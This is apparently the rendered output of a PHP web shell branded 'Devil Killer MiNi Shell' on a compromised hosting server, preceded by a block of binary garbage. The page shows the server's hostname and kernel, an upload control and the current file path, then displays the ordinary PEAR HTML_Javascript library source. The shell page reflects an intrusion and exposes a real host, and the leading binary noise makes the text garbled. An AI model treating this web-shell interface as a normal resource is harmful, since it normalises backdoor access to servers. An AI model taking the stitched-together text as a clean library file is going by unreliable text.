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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-7.0.14-precise/lib/php/HTML/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-7.0.14-precise/lib/php/HTML/Javascript.php

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP Version 4                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 3.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/3_0.txt.                                  |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Tal Peer <tal@php.net>                                      |
// |          Pierre-Alain Joye <paj@pearfr.org>                          |
// +----------------------------------------------------------------------+
// $Id: Javascript.php 193835 2005-08-18 08:55:07Z alan_k $

/**
 * A class for performing basic JavaScript operations
 *
 * Usage example:
 * <code>
 * echo "<html><head><title>JS Test</title></head><body>";
 * $js = new HTML_Javascript();
 * echo $js->startScript();
 * echo $js->writeLine('foo',false);
 * echo $js->writeLine('bar[0]', true);
 * echo $js->writeLine('bar[3]', true);
 * echo $js->endScript();
 * echo "</body></html>";
 * </code>
 * TODO:
 * - Error handler
 * - Validation mechanism
 * - Rollovers
 * - Importation from external files
 * - Themed popups
 *
 * @author  Tal Peer <tal@php.net>
 * @author  Pierre-Alain Joye <paj@pearfr.org>
 * @version 1.1.3
 * @package HTML_Javascript
 * @example examples/javascript.php Usage of HTML_Javascript
 * @licence http://www.php.net/license/3_0.txt PHP Licence 3.0
 * @access  public
 */

//Error codes

/**
 * No script started error
 */
define('HTML_JAVASCRIPT_ERROR_NOSTART', 500, true);

/**
 * Unknown error
 */
define('HTML_JAVASCRIPT_ERROR_UNKNOWN', 599, true);

/**
 * Last script was not ended error
 */
define('HTML_JAVASCRIPT_ERROR_NOEND', 501, true);

/**
 * No file was specified for setOutputMode()
 */
define('HTML_JAVASCRIPT_ERROR_NOFILE', 505, true);

/**
 * Cannot open file in write mode
 */
define('HTML_JAVASCRIPT_ERROR_WRITEFILE', 506, true);

//Output modes
/**
 * Just return the results (default mode)
 */
define('HTML_JAVASCRIPT_OUTPUT_RETURN', 1);

/**
 * Echo (print) the results directly to browser
 */
define('HTML_JAVASCRIPT_OUTPUT_ECHO', 2);

/**
 * Print the results to a file
 */
define('HTML_JAVASCRIPT_OUTPUT_FILE', 3);

if(!defined('HTML_JAVASCRIPT_NL')){
    /** Linefeed to use, default set to Unix linefeed.
     * Define it before the include/require if you want to
     * override it.
     */
    define('HTML_JAVASCRIPT_NL', "\n");
}

/** Convertion tools */
require_once 'HTML/Javascript/Convert.php';

/**
 * Main Javascript class
 *
 * Provides the basic function to output Javascript
 * scripts, like start and end tags or set the output mode.
 * @package HTML_Javascript
 */
class HTML_Javascript
{
    /**
     * Used to determaine if a script has been started
     *
     * @var    boolean $_started
     * @access private
     */
    var $_started = false;

    /**
     * The output mode specified for the script
     *
     * @var    integer $_mode
     * @access private
     */
    var $_mode = HTML_JAVASCRIPT_OUTPUT_RETURN;

    /**
     * The file to direct the output to
     *
     * @var    string $_file
     * @access private
     */
    var $_file = '';

      
    // {{{ setOutputMode

    /**
     * Set the output mode for the script
     *
     * @param  integer  $mode  the chosen output mode, can be either
     *                         {@link HTML_JAVASCRIPT_OUTPUT_RETURN},
     *                         {@link HTML_JAVASCRIPT_OUTPUT_ECHO}  or
     *                         {@link HTML_JAVASCRIPT_OUTPUT_FILE}
     * @param  string   $file  the path to the file
     *                         (if $mode is {@link HTML_JAVASCRIPT_OUTPUT_FILE})
     * @see getOutputMode
     * @access public
     * @return mixed    PEAR_Error or true
     */
    function setOutputMode($mode = HTML_JAVASCRIPT_OUTPUT_RETURN, $file = NULL)
    {
        if($mode == HTML_JAVASCRIPT_OUTPUT_FILE ) {
            if(isset($file)) {
                $this->_file = $file;
            } else {
                $this->raiseError(HTML_JAVASCRIPT_ERROR_NOFILE);
            }
        }
        $this->_mode = $mode;
        return true;
    }

    // }}} setOutputMode
    // {{{ setOutputMode

    /**
     * Get the output mode for the script
     *
     * @see setOutputMode
     * @access public
     * @return mixed    PEAR_Error or true
     */
    function getOutputMode()
    {

        return $this->_mode;
    }

    // }}} setOutputMode
    // {{{ raiseError

    /**
     * A custom error handler
     *
     * @access private
     * @param  integer  $code the error code
     * @return mixed    false if the error code is invalid,
     *                  or a PEAR_Error otherwise
     */
    function raiseError($code)
    {
        $ret = null;
        require_once 'PEAR.php';
        switch ($code) {
            case HTML_JAVASCRIPT_ERROR_NOSTART:
                $ret = PEAR::raiseError(
                        'No script started',
                        HTML_JAVASCRIPT_ERROR_NOSTART
                        );
                break;
                
            case HTML_JAVASCRIPT_ERROR_NOEND:
                $ret = PEAR::raiseError(
                        'Last script was not ended',
                        HTML_JAVASCRIPT_ERROR_NOEND
                        );
                break;
                
            case HTML_JAVASCRIPT_ERROR_NOFILE:
                $ret = PEAR::raiseError(
                        'A filename must be specified for setoutputMode()',
                        HTML_JAVASCRIPT_ERROR_NOFILE
                        );
                break;
                
            default:
                return PEAR::raiseError(
                        'Unknown Error',
                        HTML_JAVASCRIPT_ERROR_UNKNOWN
                        );
                break;
        }

        return $ret;
    }

    // }}} raiseError
    // {{{ startScript

    /**
     * Starts a new script
     *
     * @param  bool     $defer whether to wait for the whole page to load
     *                  before starting the script or no. Use defer only
     *                  with script that does not change the document (i.e.
     *                  alert does not change it).
     *
     * @access public
     * @return mixed    a PEAR_Error if a script has been already started
     *                  or a string (HTML tag <script>)
     */
    function startScript($defer = true)
    {
        $this->_started = true;
        $s      = $defer ? 'defer="defer"' : '';
        $ret    = "<script type=\"text/javascript\" ".$s.">".
                    HTML_JAVASCRIPT_NL;
        return $ret;
    }

    // }}} startScript
    // {{{ endScript

    /**
     * Used to end the script (</script>)
     *
     * @return mixed    PEAR_Error if no script has been started
     *                  or the end tag for the script
     * @access public
     */
    function endScript()
    {
        if ($this->_started) {
            $this->_started = false;
            $ret =  "</script>".HTML_JAVASCRIPT_NL;
        } else {
            $ret =  HTML_Javascript::raiseError(HTML_JAVASCRIPT_ERROR_NOSTART);
        }
        return $ret;
    }

    // }}} endScript
    //{{{ _out

    /**
     * Checks the output mode and acts according to it
     *
     * @param  string   $str the string returned from the calling function
     * @return mixed    depends on the output mode,
     *                  $str if it's HTML_JAVASCRIPT_OUTPUT_RETURN, true otherwise
     * @access private
     */
    function _out($str)
    {
        static $fp;
        if( isset($this) ){
            $mode = $this->_mode;
            $file = $this->_file;
        } else {
            return $str;
        }
        switch($mode) {
            case HTML_JAVASCRIPT_OUTPUT_RETURN:  
                return $str;
                break;
             

            case HTML_JAVASCRIPT_OUTPUT_ECHO: 
                echo $str;
                return true;
                break;
             

            case HTML_JAVASCRIPT_OUTPUT_FILE:  
                if ($fp = @fopen($file, 'ab')){
                    fwrite($fp, $str);
                } else {
                    HTML_Javascript::raiseError(HTML_JAVASCRIPT_ERROR_WRITEFILE);
                }
                return true;
                break;
             
            default:  
                HTML_Javascript::raiseError('Invalid output mode');
                break;
             
        }
    }

    // }}} _out
    // {{{ write

    /**
     * A wrapper for document.writeln
     *
     * @access public
     * @param  string  $str the string to output
     * @param  boolean $var set to true if $str is a variable name
     * @return mixed   PEAR_Error if no script was started or the processed string
     */
    function write($str, $var = false)
    {
        if ($var) {
            $ret = HTML_Javascript::_out(
                    'document.writeln('.$str.')'.HTML_JAVASCRIPT_NL
                    );
        } else {
            $ret = HTML_Javascript::_out(
                        'document.writeln("'.
                        HTML_Javascript_Convert::escapeString($str).'")'.
                        HTML_JAVASCRIPT_NL
                    );
        }
        return $ret;
    }

    // }}} write
    // {{{ writeLine

    /**
     * A wrapper for document.writeln with an addtional <br /> tag
     *
     * @access public
     * @param  string  $str the string to output
     * @param  boolean $var set to true if $str is a variable name
     * @return mixed   PEAR_Error if no script was started *
     *                 or the processed string
     */
    function writeLine($str, $var = false)
    {
        if ($var) {
            return HTML_Javascript::_out(
                    'document.writeln('.$str.'+"<br />")'.HTML_JAVASCRIPT_NL
                    );
        }
        
        return HTML_Javascript::_out(
                    'document.writeln("'.
                    HTML_Javascript_Convert::escapeString($str).
                    '"+"<br />")'.HTML_JAVASCRIPT_NL
                );
        
    }

    // }}} writeLine
    // {{{ alert

    /**
     * A wrapper for alert
     *
     * @access public
     * @param  string    $str the string to output
     * @param  boolean   $var set to true if $str is a variable name
     * @return mixed     PEAR_Error if no script was started
     *                   or the processed string
     */
    function alert($str, $var = false)
    {
        $alert  = 'alert(';
        $alert  .= $var?
                    $str:
                    '"' . HTML_Javascript_Convert::escapeString($str) . '"';
        $ret = HTML_Javascript::_out($alert.')'.HTML_JAVASCRIPT_NL);
        return $ret;
    }

    // {{{ alert
    // {{{ confirm

    /**
     * Create a box with yes and no buttons.
     * In futur releases, the 1st arg will change, $str will always be the 1st
     * argument, $assign the 2nd.
     *
     * @param  string $assign   the JS variable to assign the confirmation box to
     * @param  string $str      the string that will appear in the confirmation box
     * @param  bool   $var      whether $str is a JS var or not
     * @return string the processed string
     */
    function confirm($str,$assign, $var = false)
    {
        if($var) {
            $confirm = 'confirm(' . $str . ')' . HTML_JAVASCRIPT_NL;
        } else {
            $confirm = 'confirm("' .
                HTML_Javascript_Convert::escapeString($str) . '")' .
                HTML_JAVASCRIPT_NL;
        }
        $ret = HTML_Javascript::_out($assign . ' = ' . $confirm);
        return $ret;
    }

    // }}} confirm
    // {{{ prompt

    /**
     * Open a propmt (input box)
     *
     * @param  string $str     the string that will appear in the prompt
     * @param  string $assign  the JS var that the input will be assigned to
     * @param  string $default the default value
     * @param  string $var     wether $str is a JS var or not
     * @return mixed  PEAR_Error or the processed string
     */
    function prompt($str, $assign, $default = '', $var = false)
    {
        if ($var) {
            $prompt = 'prompt('.$str.', "'.$default.')"'.HTML_JAVASCRIPT_NL;
        } else {

            $prompt = 'prompt("'.
                        HTML_Javascript_Convert::escapeString($str).
                        '", "'.$default.
                        '")'.HTML_JAVASCRIPT_NL;
        }
        $ret = HTML_Javascript::_out($assign .' = ' . $prompt);
        return $ret;
    }

    // }}} prompt
    // {{{ popup

    /**
     * A method for easy generation of popup windows
     *
     * @param  string $assign   the JS var to assign the window to
     * @param  string $file     the file that will appear in the new window
     * @param  string $title    the title of the new window
     * @param  int    $width    the width of the window
     * @param  int    $height   the height of the window
     * @param  mixed  $attr     an array containing the attributes for the new
     *                          window, each cell can contain either the ints 1/0
     *                          or the strings 'yes'/'no'.
     *                          The order of attributes:
     *                          resizable, scrollbars, menubar, toolbar,
     *                          status, location.
     *                          Can be also a boolean, and then all the attributes
     *                          are set to yes or no, according to the boolean value.
     * @param  int   $top       the distance from the top, in pixels (only used if attr=false|true).
     * @param  int   $left      the distance from the left, in pixels (only used if attr=false|true).
     * @return mixed PEAR_Error on error or the processed string.
     */
    function popup(
        $assign, $file, $title, $width, $height, $attr, $top = 300, $left = 300
    )
    {
        if(!is_array($attr)) {
            if(!is_bool($attr)) {
                PEAR::raiseError('$attr should be either an array or a boolean');
            } else {
                if($attr) {
                    $attr = array('yes', 'yes', 'yes', 'yes', 'yes', 'yes', $top, $left);
                } else {
                    $attr = array('no', 'no', 'no', 'no', 'no', 'no', $top, $left);
                }
            }
        }
        $ret = HTML_Javascript::_out(
                    $assign .
                    "= window.open(".
                    "\"$file\", \"$title\",".
                    " \"width=$width, height=$height,".
                    "resizable=$attr[0], scrollbars=$attr[1],".
                    " menubar=$attr[2], toolbar=$attr[3], status=$attr[4],".
                    " location=$attr[5], top=$attr[6], left=$attr[7]\")".
                    HTML_JAVASCRIPT_NL);
        return $ret;
    }

    // }}} popup
    // {{{ popupWrite

    /**
     * Creates a new popup window containing a string. Inside the popup windows
     * you can access the opener window with the opener var.
     *
     * @param  string $assign   the JS variable to assign the window to
     * @param  string $str      the string that will appear in the new window
     *                          (HTML tags would be parsed by the browser, of course)
     * @param  string $title    the title of the window
     * @param  int    $width    the width of the window
     * @param  int    $height   the height of the window
     * @param  mixed  $attr     see popup()
     * @param  int    $top      distance from the top (in pixels
     * @param  int    $left     distance from the left (in pixels)
     * @see    popup()
     * @return the processed string
     */
    function popupWrite(
        $assign, $str, $title, $width, $height, $attr, $top = 300, $left = 300
    )
    {
        static  $cnt_popup;
        $str        = HTML_Javascript_Convert::escapeString($str);
        $assign     = strlen($assign)==0?'pearpopup'.$cnt_popup++:$assign;

        if($attr) {
            $attr = array('yes', 'yes', 'yes', 'yes', 'yes', 'yes', $top, $left);
        } else {
            $attr = array('no', 'no', 'no', 'no', 'no', 'no', $top, $height);
        }

        $windows = $assign . "= window.open(\"\",".
                                " \"$title\",".
                                " \"width=$width, height=$height,".
                                " resizable=$attr[0], scrollbars=$attr[1],".
                                " menubar=$attr[2], toolbar=$attr[3],".
                                " status=$attr[4], location=$attr[5],".
                                " top=$attr[6], left=$attr[7]\")".HTML_JAVASCRIPT_NL;

        $windows    .= "
                        if ($assign){
                            $assign.focus();
                            $assign.document.open();
                            $assign.document.write('$str');
                            $assign.document.close();
                            if ($assign.opener == null) $assign.opener = self;
                        }
                      ";

        $ret = HTML_Javascript::_out($windows);
        return $ret;
    }

    // }}} popupWrite
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com